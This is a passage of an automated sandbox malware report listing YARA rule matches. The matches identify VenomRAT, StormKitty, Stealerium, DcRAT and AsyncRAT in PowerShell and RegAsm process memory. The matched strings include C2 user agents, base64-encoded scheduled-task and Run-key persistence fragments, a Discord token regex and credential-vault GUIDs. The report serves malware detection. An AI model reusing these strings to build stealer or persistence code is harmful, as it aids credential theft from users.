Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2a9b09:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xc7c61:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2a9b93:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xc7cd5:$cnc4: POST / HTTP/1.1 0x2a9c07:$cnc4: POST / HTTP/1.1
Process Memory Space: RegAsm.exe PID: 7436	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7436	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: RegAsm.exe PID: 7436	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7436	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7436	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: RegAsm.exe PID: 7436	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: RegAsm.exe PID: 7436	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 7436	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xbfa95:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: RegAsm.exe PID: 7436	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x63849:$s6: VirtualBox 0xbf76b:$s8: Win32_ComputerSystem 0xc1988:$s8: Win32_ComputerSystem 0xbe0c1:$s9: Win32_Process Where ParentProcessID= 0xbded4:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xbdf22:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbdfac:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xbe020:$cnc4: POST / HTTP/1.1
Click to see the 123 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.powershell.exe.562d856.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
15.2.powershell.exe.5a9e762.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
13.2.powershell.exe.562d856.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1fa692:$x2: https://github.com/LimerBoy/StormKitty 0x1fa6ae:$x3: StormKitty
15.2.powershell.exe.6920daa.8.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
15.2.powershell.exe.6920daa.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.powershell.exe.6920daa.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.powershell.exe.6920daa.8.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
15.2.powershell.exe.6920daa.8.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
15.2.powershell.exe.6920daa.8.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
15.2.powershell.exe.6920daa.8.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
15.2.powershell.exe.6920daa.8.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
15.2.powershell.exe.6920daa.8.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
15.2.powershell.exe.6920daa.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
15.2.powershell.exe.6920daa.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
15.2.powershell.exe.6920daa.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
15.2.powershell.exe.6920daa.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
15.2.powershell.exe.6920daa.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.powershell.exe.6920daa.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
14.2.powershell.exe.575d5e6.3.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1fac7e:$x2: https://github.com/LimerBoy/StormKitty 0x1fac9a:$x3: StormKitty
14.2.powershell.exe.66b2f2a.6.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
14.2.powershell.exe.66b2f2a.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.powershell.exe.66b2f2a.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.powershell.exe.66b2f2a.6.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
14.2.powershell.exe.66b2f2a.6.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
14.2.powershell.exe.66b2f2a.6.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
14.2.powershell.exe.66b2f2a.6.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
14.2.powershell.exe.66b2f2a.6.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
14.2.powershell.exe.66b2f2a.6.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
14.2.powershell.exe.66b2f2a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
14.2.powershell.exe.66b2f2a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
14.2.powershell.exe.66b2f2a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
14.2.powershell.exe.66b2f2a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
14.2.powershell.exe.66b2f2a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.powershell.exe.66b2f2a.6.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.5cb11e0.6.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
17.2.powershell.exe.5cb11e0.6.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
17.2.powershell.exe.5cb11e0.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.powershell.exe.5cb11e0.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
17.2.powershell.exe.5cb11e0.6.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
17.2.powershell.exe.5cb11e0.6.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
17.2.powershell.exe.5cb11e0.6.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
17.2.powershell.exe.5cb11e0.6.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths 0x279449:$str15: ChromiumPswPaths 0x27538c:$str16: DetectedBankingServices 0x2754f5:$str17: DetectCryptocurrencyServices 0x2833ee:$str18: CheckRemoteDebuggerPresent 0x284373:$str19: GetConnectedCamerasCount
17.2.powershell.exe.5cb11e0.6.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
17.2.powershell.exe.5cb11e0.6.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
17.2.powershell.exe.5cb11e0.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
17.2.powershell.exe.5cb11e0.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
17.2.powershell.exe.5cb11e0.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
17.2.powershell.exe.5cb11e0.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
17.2.powershell.exe.5cb11e0.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.powershell.exe.5cb11e0.6.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
17.2.powershell.exe.5cb11e0.6.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.5a14cea.7.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
17.2.powershell.exe.5a14cea.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.powershell.exe.5a14cea.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
17.2.powershell.exe.5a14cea.7.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
17.2.powershell.exe.5a14cea.7.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
17.2.powershell.exe.5a14cea.7.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
17.2.powershell.exe.5a14cea.7.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
17.2.powershell.exe.5a14cea.7.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
17.2.powershell.exe.5a14cea.7.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
17.2.powershell.exe.5a14cea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
17.2.powershell.exe.5a14cea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
17.2.powershell.exe.5a14cea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
17.2.powershell.exe.5a14cea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
17.2.powershell.exe.5a14cea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
